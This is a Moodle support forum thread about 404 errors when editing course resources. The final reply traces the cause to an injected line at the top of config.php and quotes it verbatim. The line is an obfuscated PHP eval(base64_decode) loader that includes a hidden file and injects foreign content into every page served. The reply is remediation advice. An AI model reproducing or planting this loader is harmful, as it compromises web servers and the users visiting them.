Can't modify a resource - 404 error

Can't modify a resource - 404 error

by Huw Smith -
Number of replies: 3
I can view a resource but if I turn editing on I can't use any of the icons to modify the resource

If I click on Update or hide/unhide etc I get:

The page cannot be found..... HTTP Error 404 - File or directory not found. Internet Information Services (IIS)

It is trying to open this URL: http://mymoodle.com/course/1

I can use those same icons to edit a block though.

I have 6 Moodles running on this server and this problem happens on 3 of them, versions 1.9.1+, 1.5.3+ and 1.5.4+

1.8+ works fine.

Does anyone have any suggestions why this might be happening?
Average of ratings: -
In reply to Huw Smith

Re: Can't modify a resource - 404 error

by Alex Greene -
I have exactly the same issue for the courses in my moodle site, which is 1.8.4+. Would love to know if you've learned anything about this error. I am thinking about upgrading to version 1.9.something in hopes that new files will resolve this.
In reply to Alex Greene

Re: Can't modify a resource - 404 error

by Alex Greene -
I just wanted to post a little additional information, in hopes that someone may be able to help with this.

I am able to click on the hide, edit, delete, etc. for the administrative blocks and the top block with the News Forum. I am also able to hide and unhide complete blocks. The problem occurs when trying to edit, hide, unhide, delete, or move any resources or activites in a lesson block. Hope this helps someone to point me towards a resolution.

Upgrading to a newer moodle advisable under these circumstances?

Alex
In reply to Huw Smith

Re: Can't modify a resource - 404 error

by Ted Thrasher -

Windows 2003 Server, Moodle 1.9.1+

Check your config.php file.  If it has anything above:

"<?php /// Moodle Configuration File "

Delete it and save config.php  Reset the security on the config.php file to not allow anything but the System or Administrators to write/modify the config.php file.

After an install of Navicat, this code was placed in the first line of config.php: <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCdEOi9JbmV0cHViL21vb2RsZS9sYW5nL2VuX3V0ZjgvaGVscC9lbnJvbC9hdXRob3JpemUvaW1hZ2VzL21kbF91dGYucGhwJykpe2luY2x1ZGVfb25jZSgnRDovSW5ldHB1Yi9tb29kbGUvbGFuZy9lbl91dGY4L2hlbHAvZW5yb2wvYXV0aG9yaXplL2ltYWdlcy9tZGxfdXRmLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

There is an article addressing this subject at: http://moodle.org/mod/forum/discuss.php?d=111710 

Ted J. Thrasher

OABS Tech Support